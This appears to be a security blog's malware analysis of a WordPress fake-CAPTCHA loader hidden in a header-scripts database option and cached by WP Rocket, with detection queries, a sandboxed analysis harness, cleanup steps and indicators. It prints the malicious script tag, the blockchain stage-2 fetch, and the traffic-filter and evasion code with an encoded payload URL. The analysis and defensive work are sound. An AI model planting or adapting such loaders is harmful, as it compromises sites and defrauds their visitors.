Skip to content
Back to Articles

The Plugin Wasn't Infected: How a Header Script Option and a Cache Plugin Hid a Blockchain Loader

Share:

A WordPress site starts showing visitors a Cloudflare-style "Verify you are human" box. The owner's first message is very clear: "the Header and Footer Scripts plugin is infected." They deleted it, installed a fresh copy, and the box came back.

The plugin was clean. Every file matched the official release. The malware was one line of HTML saved in the database, in the setting where that plugin keeps "scripts to add to the header":

<script async src="https://cdn.coredelivr.com/mpackage.js"></script>

I have already written about how these fake-CAPTCHA loaders read their next stage from a blockchain smart contract, and how such malware hides from logged-in administrators. I won't repeat that here. This article covers what was new in this case: where the infection really lived, the one place it touched the disk, how I took an obfuscated loader apart without letting it reach the internet, and the traffic filter that decides who gets to see the lure.

🧩 The plugin was only the messenger

"Header and Footer Scripts" does one simple job. You paste code into a box in the admin panel, it saves that text in wp_options, and it prints the text on every page. In this case the rows were named shfs_insert_header / shfs_insert_footer and, from a newer build, jamify_hfs_insert_header / jamify_hfs_insert_footer.

That explains everything the owner saw:

  • Reinstalling changes nothing. A reinstall replaces files. The option stays in the database, and the fresh plugin prints it again.
  • Deleting the plugin seems to work. Nothing prints the option any more, so the box disappears. Install the plugin again later and it is back, because the data is still there.
  • File checks pass. Core checksums, plugin checksums and file scanners all look at PHP files, and every PHP file here is legitimate. No file on the server contained the loader. The code only existed in the database and on the attacker's server.

The same pattern works with any feature that stores code and prints it: "insert headers and footers" plugins, a theme's "custom JS" field, page-builder custom code, HTML widgets. Writing to these settings needs administrator access, so when you find one, also review who has that access.

🗄️ Find it in the database (read-only)

Take the database name and credentials from wp-config.php, and adjust the wp_ table prefix if yours is different. These queries only read.

-- 1. What the Header and Footer Scripts plugin prints on every page
SELECT option_name, CHAR_LENGTH(option_value) AS len, option_value
FROM wp_options
WHERE option_name LIKE 'shfs\_insert\_%'
   OR option_name LIKE 'jamify\_hfs\_insert\_%';

-- 2. Every option that loads an external script, from any plugin
SELECT option_name, CHAR_LENGTH(option_value) AS len, autoload
FROM wp_options
WHERE option_value LIKE '%<script%src=%http%'
ORDER BY option_name;

-- 3. The same in posts and postmeta (page builders, "custom code" fields)
SELECT 'post' AS src, ID AS id, post_type AS name FROM wp_posts
WHERE post_content LIKE '%<script%src=%http%'
UNION ALL
SELECT 'meta', post_id, meta_key FROM wp_postmeta
WHERE meta_value LIKE '%<script%src=%http%';

Query 2 will also list your normal analytics and chat widgets. That's expected. Read the hosts, not the count. To see them as a list:

# Which script hosts are stored in the options table, and how often?
# Run as the site's own user from the WordPress folder (never as root).
wp db query "SELECT option_value FROM wp_options WHERE option_value LIKE '%<script%src=%'" --skip-column-names \
| grep -oE 'src=.{0,2}https?://[A-Za-z0-9.-]+' | grep -oE 'https?://[A-Za-z0-9.-]+' \
| sort | uniq -c | sort -rn

# How old is a host you don't recognise?
whois coredelivr.com | grep -iE 'creation date|registrar:'

Any host you cannot name is worth a look. Here the answer was quick: coredelivr.com sounds like a CDN, but the domain was registered in September 2026 and nothing legitimate on the site needed it.

💾 The only copy on disk: your cache plugin

The site used WP Rocket with JavaScript minification enabled. When a minifier meets an external script, it can download it and keep a local copy. WP Rocket did exactly that:

  • wp-content/cache/min/3rd-party/cdn.coredelivr.com-mpackage.js, a byte-for-byte copy of the attacker's file
  • wp-content/cache/min/1/mpackage.js, the minified version (about 160 KB)
  • Every cached HTML page under wp-content/cache/wp-rocket/ still carried the loader.

This works for you and against you:

  • Good for analysis: you get a dated copy of exactly what visitors received, even if the attacker changes or removes the remote file tomorrow. The file date also tells you roughly when the injection started.
  • Bad for cleanup: if you only clean the option, the cached pages and the local copies keep serving the loader until the cache is rebuilt. And because the minified copy loads from your domain, blocking the attacker's domain does not stop it.
cd /path/to/wordpress/wp-content

# 1. Third-party scripts the minifier downloaded, with their dates
find cache/min -path '*3rd-party*' -type f -printf '%TY-%Tm-%Td %TH:%TM  %8s  %p\n' | sort

# 2. Script hosts referenced by the cached HTML pages
grep -rhoE '<script[^>]+src="https?://[^/"]+' cache/wp-rocket \
| grep -oE 'https?://[^/"]+$' | sort | uniq -c | sort -rn | head -40

# 3. Every cached file that still mentions the loader
grep -rlE 'coredelivr|mpackage\.js' cache/ | head -200

Other optimization plugins that offer "combine external JS" can do the same thing, so check their cache folders too.

🔬 Taking apart a VM-obfuscated loader, offline

mpackage.js is not readable. It is wrapped in a small custom virtual machine (vmi_a69c23 / vmd_6353f7) with 1,475 encoded strings and no plain URL anywhere. You can deobfuscate that by hand, but it takes hours.

There is a faster way: let the script run, but in a box where it cannot reach anything, and record every browser feature it asks for. Two layers keep it safe:

  1. No network, no file writes, enforced by the operating system, not by the script.
  2. A fake browser. Node's vm module gives the sample its own empty global scope. Instead of a real window and document, it gets objects that just log what they're asked to do. XHR requests are written to the log, never sent.

This is the harness I used, reduced to the essentials:

// Run an untrusted browser script with fake DOM objects and log what it touches.
// Start it ONLY inside a sandbox with no network.
const vm = require('vm'), fs = require('fs');
// process.stdout, not console: the loader silences console.*
const log = (...a) => process.stdout.write(a.map(String).join(' ').slice(0, 400) + '\n');
const timers = [];

// Any property read, write or call on a fake object is logged.
const fake = (name) => new Proxy(function () {}, {
  get: (t, k) => k === Symbol.toPrimitive ? () => '' :
    typeof k === 'symbol' ? undefined : (log('GET', name + '.' + k), fake(name + '.' + k)),
  set: (t, k, v) => (log('SET', name + '.' + k, v), true),
  apply: (t, self, args) => (log('CALL', name, ...args), fake(name + '()')),
  construct: (t, args) => fake('new ' + name),
});

const el = (tag) => new Proxy({ tagName: tag, style: {}, setAttribute: (k, v) => log('ATTR', tag, k, v) }, {
  set: (t, k, v) => (log('ELEM', tag, k, v), (t[k] = v), true),
});

class XHR {
  open(m, u) { log('XHR.open', m, u); }
  setRequestHeader() {}
  send(body) { log('XHR.send', body || ''); }
}

const document = {
  getElementById: (id) => (log('getElementById', id), null),   // null = "not an admin"
  createElement: (tag) => el(tag),
  head: { appendChild: (c) => (log('APPEND head', c.tagName, c.src || c.href || ''), c) },
  body: fake('body'), documentElement: fake('html'),
  querySelector: () => null, querySelectorAll: () => [],
  addEventListener: () => {}, readyState: 'complete', referrer: '', cookie: '',
};
const location = { href: 'https://example.com/', hostname: 'example.com',
  protocol: 'https:', pathname: '/', search: '', origin: 'https://example.com' };
const window = { document, location, XMLHttpRequest: XHR, fetch: fake('fetch'),
  navigator: { userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0' },
  setTimeout: (f) => (timers.push(f), 1), setInterval: () => 1, clearTimeout: () => {},
  addEventListener: () => {}, requestAnimationFrame: (f) => (timers.push(f), 1),
  atob: (s) => Buffer.from(s, 'base64').toString('binary'),
  btoa: (s) => Buffer.from(s, 'binary').toString('base64'),
  console: { log() {}, warn() {}, error() {}, info() {}, debug() {} } };
window.window = window.self = window.globalThis = window;

const ctx = vm.createContext(window);
try { vm.runInContext(fs.readFileSync(process.argv[2], 'utf8'), ctx, { timeout: 5000 }); }
catch (e) { log('ERROR', e.message); }
// run queued timers a few rounds
for (let r = 0; r < 4; r++) for (const f of timers.splice(0)) { try { typeof f === 'function' && f(); } catch (e) { log('ERROR timer', e.message); } }

Two details matter. The loader overwrites the console methods, so the harness logs through process.stdout. And it queues work with timers, so the harness runs the queued callbacks after the main script finishes.

# macOS: a sandbox profile that denies all network and all file writes
cat > nonet.sb <<'SB'
(version 1)
(allow default)
(deny network*)
(deny file-write*)
(allow file-write* (literal "/dev/null") (literal "/dev/tty"))
SB
sandbox-exec -f nonet.sb node harness.js mpackage.js.txt

# Linux alternative: a container with no network at all
docker run --rm --network none -v "$PWD":/w:ro -w /w node:22-alpine \
  node harness.js mpackage.js.txt

The whole loader came down to this:

getElementById wpadminbar
ELEM link rel preconnect
ELEM link href https://bsc-testnet.bnbchain.org
APPEND head link https://bsc-testnet.bnbchain.org
ELEM link rel preconnect
ELEM link href https://data-seed-prebsc-1-s1.bnbchain.org:8545
APPEND head link https://data-seed-prebsc-1-s1.bnbchain.org:8545
XHR.open POST https://bsc-testnet.bnbchain.org
XHR.send {"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437","data":"0x6d4ce63c"},"latest"],"id":171639}
XHR.open POST https://data-seed-prebsc-1-s1.bnbchain.org:8545
XHR.send {"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437","data":"0x6d4ce63c"},"latest"],"id":207218}

In about one second, without reading any of the obfuscated code:

  • It first looks for #wpadminbar. A logged-in administrator gets nothing.
  • It preconnects to two public BNB Smart Chain testnet nodes.
  • It calls get() (selector 0x6d4ce63c) on contract 0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437.

Reading a public contract is itself read-only, so you can fetch the next stage without touching the attacker's servers:

# Read-only: ask a public BNB testnet node what the contract's get() returns
curl -s https://bsc-testnet.bnbchain.org -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437","data":"0x6d4ce63c"},"latest"]}' \
  > reply.json

# Decode the ABI string, then the base64 inside it. Print only; never run it.
python3 -c '
import json, base64
r = bytes.fromhex(json.load(open("reply.json"))["result"][2:])
n = int.from_bytes(r[32:64], "big")
print(base64.b64decode(r[64:64 + n]).decode())' > stage2.js.txt

The contract returned a base64 string that decodes to a 12 KB plain-JavaScript "stage 2". Because the script lives on a blockchain, the attacker can change it with one transaction, while every infected site keeps the same harmless-looking script tag.

🚦 Stage 2: a traffic filter that picks its victims

Stage 2 is not the lure. It is a traffic distribution system (TDS): it decides who is worth attacking. In order, it:

  1. Runs only once per page (window.__STAGE2_LOADER_STARTED__).
  2. Replaces every console method with an empty function and sets window.onerror to swallow all errors, so the browser's developer tools stay quiet.
  3. Exits for bots and tools: a long user-agent regex covering crawlers, SEO bots, curl, wget, python, headless browsers and more.
  4. Exits on WordPress system pages and referrers: wp-admin, wp-login.php, wp-json, admin-ajax.php, feeds, previews, the customizer, any URL with a nonce.
  5. Checks #wpadminbar a second time.
  6. Looks up the visitor's IP with a public geolocation API and rejects twelve countries, mobile connections, VPNs, Tor and proxies.
  7. Only then fetches the real payload from a URL built from two base64 halves ('aHR0cHM6Ly90ZHNzZW' + 'N1cmUuYmVlci9teQ==' = https://tdssecure.beer/my), with a 15-second timeout and two retries, and injects it into the page with script.text.

The visitor check, verbatim from the sample:

var IPQUERY_URL = 'https://api.ipquery.io/?format=json';

/* TDS blocked GEO — ipquery location (same ISO list as tracker) */
var IPQUERY_BLOCKED_COUNTRY = {
  SG: 1, AM: 1, AZ: 1, BY: 1, CN: 1, KZ: 1, KG: 1, MD: 1, RU: 1, TJ: 1, UA: 1, UZ: 1
};

function ipqueryRiskClean(data) {
  if (ipqueryBlockedCountry(data)) return false;
  var r = data && (data.risk || data);
  if (!r) return false;
  return (
    r.is_mobile === false &&
    r.is_vpn === false &&
    r.is_tor === false &&
    r.is_proxy === false
  );
}

The comment "same ISO list as tracker" suggests that the operators run a separate tracking panel that uses the same country list.

When I analysed it, the final URL returned HTTP 504 with no body, so I could not capture stage 3. The site owner had already seen what it shows: the fake Cloudflare verification.

Now look at who is filtered out: the owner (admin bar), the developer (often on a VPN), anyone checking from a phone, every uptime monitor and scanner (user agent), and anyone in the blocked countries. The people who see the lure are ordinary desktop visitors on home connections, which is exactly the audience a "paste this command" trick needs. "I can't reproduce it" does not mean the site is clean. The script tag in the HTML is the evidence; what you see in your own browser is not.

🧹 Cleaning it, in the right order

  1. Take a full database backup before you change anything.
  2. Clean the option. Remove only the foreign script tag from the header/footer setting and keep any code you added yourself. The plugin's own settings page is fine for this.
  3. Search the other places with the queries above: other options, posts, postmeta, widgets, theme mods. Attackers rarely use only one.
  4. Then clear the cache: purge everything in the cache plugin and confirm the 3rd-party copy and the cached pages are gone. If you clear the cache first, the next page view caches the loader again.
  5. Purge your CDN, if you use one.
  6. Verify with the HTML, not with your eyes:
# The HTML is the honest test. The loader's filters only run in the browser.
curl -s -A 'Mozilla/5.0' https://example.com/ | grep -ciE 'coredelivr|mpackage\.js'
# Expected after cleanup: 0 (check a few inner pages too)

Writing that option needs an administrator account, so review your administrator list, application passwords and recently created users, and change passwords for the accounts that remain.

✅ Quick checklist

  • Header/footer script options contain only code you recognise
  • No option, post or postmeta loads a script from a host you can't name
  • No unexpected files in wp-content/cache/min/3rd-party/
  • Cached HTML pages reference only known script hosts
  • Homepage and inner pages: the curl check returns 0
  • Administrator list and application passwords reviewed

🧷 Indicators

  • Stage 1 tag: <script async src="https://cdn.coredelivr.com/mpackage.js"> (domain registered 2026-09-16)
  • mpackage.js SHA-256: baf9baef6f1c817dc4cfb56f586e657963ce24dedeb033b3e1e02d573f84b19d
  • Loader globals: vmi_a69c23, vmd_6353f7; stage 2 flag window.__STAGE2_LOADER_STARTED__
  • BSC testnet contract 0x7Fd85c090f2b35071C57a3b9FeAF462aaEb0E437, selector 0x6d4ce63c, via bsc-testnet.bnbchain.org and data-seed-prebsc-1-s1.bnbchain.org:8545
  • Stage 3 URL: https://tdssecure.beer/my (domain registered 2026-11-01), stored as aHR0cHM6Ly90ZHNzZW + N1cmUuYmVlci9teQ==
  • Visitor check: api.ipquery.io/?format=json (a legitimate service, abused)
  • Database: foreign script tags in shfs_insert_* / jamify_hfs_insert_* options
  • Disk: wp-content/cache/min/3rd-party/cdn.coredelivr.com-mpackage.js

❓ FAQ

Is the Header and Footer Scripts plugin vulnerable?

Nothing in this case pointed to the plugin. It printed what was saved in its setting, which is what it is for. Saving that setting requires administrator access.

I reinstalled the plugin and the fake check came back. Why?

The malicious code is in the database, not in the plugin files. A reinstall replaces files only, so the same option is printed again.

Why can't I see the fake check on my own site?

The loader skips logged-in administrators, bots, mobile connections, VPNs, proxies, Tor and twelve countries. Check the page HTML for the script tag instead.

Does clearing the cache remove it?

Only after the database option is cleaned. If you clear the cache first, the next visit stores a fresh copy of the loader.